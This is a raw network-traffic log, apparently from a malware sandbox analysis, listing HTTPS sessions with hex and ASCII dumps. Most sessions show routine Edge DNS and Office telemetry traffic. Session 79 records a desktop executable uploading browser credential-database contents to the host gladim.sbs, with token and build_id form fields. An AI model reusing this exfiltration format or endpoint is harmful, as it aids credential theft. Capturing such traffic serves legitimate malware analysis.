?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-12-02 00:34:38 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49831	172.64.41.3	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-02 00:34:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:38 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 22106228-c01e-007a-5d36-40b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003438Z-174f7845968qj8jrhC1EWRh41s00000013rg000000000cx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:38 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:38 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6da3e3c6-601e-0084-52b4-426b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003438Z-174f7845968glpgnhC1EWR7uec00000013u000000000e66n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:38 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:38 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 21673337-d01e-00a1-71b2-4235b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003438Z-174f7845968ljs8phC1EWRe6en00000013n0000000002ave x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:38 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49833	162.159.61.3	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-02 00:34:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:37 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c0a226f0-401e-0048-5ab5-420409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003438Z-174f78459684db9fhC1EWRc7g400000003pg00000000bvn7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	49832	172.64.41.3	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-02 00:34:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenet)EA
2024-12-02 00:34:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 02 Dec 2024 00:34:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8eb73b7dc9d20fa0-EWR alt-svc: h3=":443"; ma=86400
2024-12-02 00:34:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 05 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 07 04 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0e 0c 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 38 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 8d 00 05 00 01 00 00 00 38 00 02 c0 9b c0 9b 00 01 00 01 00 00 00 38 00 04 0d 6b f6 28 00 00 29 04 d0 00 00 00 00 00 f2 00 0c 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetedgeassetserviceafd<"azureedge-t-prodtrafficmanager'_8,sheddual-lows-part-0012t-0009t-msedge'88k()

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:38 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 83b34a83-b01e-0053-35ab-42cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003438Z-174f78459684db9fhC1EWRc7g400000003m000000000k99q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	49836	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:38 UTC	319	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 68733 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:38 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------BGIJEGCGDGHDHIDHDGCBCont
2024-12-02 00:34:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:38 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 4b 77 51 47 46 7a 38 5a 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpKwQGFz8ZAQBpbmRleHNxbGl0ZV9h
2024-12-02 00:34:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:38 UTC	3313	OUT	Data Raw: 6b 5a 58 68 69 63 6d 56 68 59 32 68 6c 5a 42 52 44 55 6b 56 42 56 45 55 67 53 55 35 45 52 56 67 67 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 64 47 46 69 62 47 56 66 61 57 35 6b 5a 58 67 67 54 30 34 67 59 6e 4a 6c 59 57 4e 6f 5a 57 51 67 4b 48 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 55 70 4c 78 41 47 46 30 4d 64 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 64 58 52 76 61 57 35 6b 5a 58 68 66 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 4d 57 4a 79 5a 57 46 6a 61 47 56 6b 45 34 49 66 44 77 63 58 48 52 30 42 68 42 46 30 59 57 4a 73 5a 57 4a 79 5a 57 46 6a 61 47 56 6b 59 6e 4a 6c 59 57 4e 6f 5a 57 51 53 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 47 4a 79 5a 57 46 6a 61 47 56 6b 49 43 68 31 63 6d 77 67 56 6b 46 53 51 30 68 42 55 69 42 4f 54 31 Data Ascii: kZXhicmVhY2hlZBRDUkVBVEUgSU5ERVggYnJlYWNoZWRfdGFibGVfaW5kZXggT04gYnJlYWNoZWQgKHVybCwgdXNlcm5hbWUpLxAGF0MdAQBpbmRleHNxbGl0ZV9hdXRvaW5kZXhfYnJlYWNoZWRfMWJyZWFjaGVkE4IfDwcXHR0BhBF0YWJsZWJyZWFjaGVkYnJlYWNoZWQSQ1JFQVRFIFRBQkxFIGJyZWFjaGVkICh1cmwgVkFSQ0hBUiBOT1
2024-12-02 00:34:40 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49835	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:38 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
